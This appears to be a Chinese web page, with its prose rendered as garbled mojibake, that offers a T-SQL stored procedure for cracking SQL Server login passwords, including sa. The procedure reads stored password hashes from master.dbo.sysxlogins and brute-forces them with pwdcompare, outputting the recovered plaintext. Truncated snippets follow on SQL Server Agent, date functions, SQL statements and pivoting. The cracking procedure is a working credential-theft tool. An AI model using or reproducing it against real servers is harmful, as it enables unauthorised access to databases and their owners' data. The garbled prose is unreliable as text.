´æ´¢¹ý³ÌʵÀý:SQL Server SaÃÜÂëÆÆ½â
Ò»¸öSQL Server SaÃÜÂëÆÆ½âµÄ´æ´¢¹ý³Ì:
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_GetPassword]
GO
/*--Çî¾Ù·¨ÆÆ½â SQL Server Óû§ÃÜÂë
¿ÉÒÔÆÆ½âÖÐÎÄ,ÌØÊâ×Ö·û,×Ö·û+Î²Ëæ¿Õ¸ñµÄÃÜÂë
ΪÁË·½±ãÏÔÊ¾ÌØÊâ×Ö·ûµÄÃÜÂë,ÔÚÏÔʾ½á¹ûÖÐ,ÏÔʾÁË×é³ÉÃÜÂëµÄASCII
ÀíÂÛÉÏ¿ÉÒÔÆÆ½âÈÎÒâλÊýµÄÃÜÂë
Ìõ¼þÊÇÄãµÄµçÄÔÅäÖÃ×ã¹»,ʱ¼ä×ã¹»
/*--µ÷ÓÃʾÀý
exec p_GetPassword
--*/
create proc p_GetPassword
@username sysname=null, --Óû§Ãû,Èç¹û²»Ö¸¶¨,ÔòÁгöËùÓÐÓû§
@pwdlen int=2 --񻮮½âµÄÃÜÂëµÄλÊý,ĬÈÏÊÇ2λ¼°ÒÔϵÄ
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,0,1) into #t from syscolumns
alter table #t add constraint PK_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from master.dbo.sysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aa.id)'
,@s2='cast(aa.id as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwd.jm=0
and pwdcompare('+@s1+',pwd.password,pwd.type)=1
')
end
select Óû§Ãû=name,ÃÜÂë=pwdstr,ÃÜÂëASCII=pwd
from #pwd
go
Ïà¹ØÎĵµ£º
SQL Serer´úÀí·þÎñ
¶ÔÓÚÒ»¸öSQL Serverϵͳ¹ÜÀíÔ±À´Ëµ£¬ËûÿÌì¶¼ÃæÁÙ×ÅÐí¶à²»Í¬µÄÈÎÎñÀ´Ö´ÐУ¬ÀýÈç¼ì²éÒ»¸ö»ò¶à¸ö·þÎñÆ÷£¬µ÷½ÚºÍÓÅ»¯Êý¾Ý¿âµÄÐÔÄÜ£¬ÐÞ¸ÄÊý¾Ý¿âµÄ²¼¾ÖÉè¼ÆºÍÊý¾Ý¿â±í£¬Âú×ãÏÖÔںͽ«À´µÄÐèÒª,RAID1¡£Ò»°ãÀ´Ëµ£¬±£³ÖÊý¾Ý¿âÔÚËùÓй¤×÷ʱ¼äÄܹ»×îÓÅ»¯µÄÖ´ÐÐÊÇϵͳ¹ÜÀíÔ±µÄÄ¿±ê£¬ÎªÁË´ïµ½Õâ¸öÄ¿±ê£¬ÏµÍ³¹ÜÀíÔ±±ØÐ ......
¶¨Òå²Ù×÷Ô±
SQL Server´úÀíÍê³ÉÒ»¸ö×÷Òµºó£¬Í¨Öª²Ù×÷Ô±µÄ·½·¨ÓжàÖÖ¡£
ÀýÈ磬ͨ¹ýÃüÁîϵͳ°ÑÏàÓ¦µÄÏûϢдÈëWindows NTʼþÈÕÖ¾ÖУ¬ÒÔ±ã֪ͨϵͳ¹ÜÀíÔ±·´¸´¶ÁÈ¡´ËÈÕÖ¾¡£
ÁíÍâÒ»ÖÖ¸üºÃµÄÑ¡Ôñ¾ÍÊÇʹÓõç×ÓÓʼþ¡¢´«ºô»ú»òÍøÂç´«ËͰѾ¯±¨ÏûϢ֪ͨ¸ø²Ù×÷Ô±¡£²Ù×÷Ô±ÊÇSQL Server´úÀí·¢ËÍÏûÏ¢µÄ½ÓÊÕÕߣ¬²Ù×÷Ô±¿ÉÒÔÔÚÒ»¸ö×÷ҵ֮ǰ ......
---Ò»¸öÔµĵÚÒ»Ìì
SELECT DATEADD(mm, DATEDIFF(mm,0,getdate()), 0)
--- ±¾ÖܵÄÐÇÆÚÒ»
SELECT DATEADD(wk, DATEDIFF(wk,0,getdate()), 0)
---Ò»ÄêµÄµÚÒ»Ìì
SELECT DATEADD(yy, DATEDIFF(yy,0,getdate()), 0)
----¼¾¶ÈµÄµÚÒ»Ìì
SELECT DATEADD(qq, DATEDIFF(qq,0,getdate()), 0)
----ÉϸöÔµÄ×îºóÒ»Ìì
......
--Óï ¾ä ¹¦ ÄÜ
--Êý¾Ý²Ù×÷
SELECT --´ÓÊý¾Ý¿â±íÖмìË÷Êý¾ÝÐкÍÁÐ
INSERT --ÏòÊý¾Ý¿â±íÌí¼ÓÐÂÊý¾ÝÐÐ
DELETE --´ÓÊý¾Ý¿â±íÖÐɾ³ýÊý¾ÝÐÐ
UPDATE --¸üÐÂÊý¾Ý¿â±íÖеÄÊý¾Ý
--Êý¾Ý¶¨Òå
CREATE TABLE --´´½¨Ò»¸öÊý¾Ý¿â±í
DROP TABLE --´ÓÊý¾Ý¿âÖÐɾ³ý±í
ALTER TABLE --ÐÞ¸ÄÊý¾Ý¿â±í½á¹¹
CREATE VIEW --´´½¨Ò»¸öÊÓͼ
DRO ......
ÐÐÁÐת»»
create table test(id int,name varchar(20),quarter int,profile int)
insert into test values(1,'a',1,1000)
insert into test values(1,'a',2,2000)
insert into test values(1,'a',3,4000)
insert into test values(1,'a',4,5000)
insert into test values(2,'b',1,3000)
insert into test values(2, ......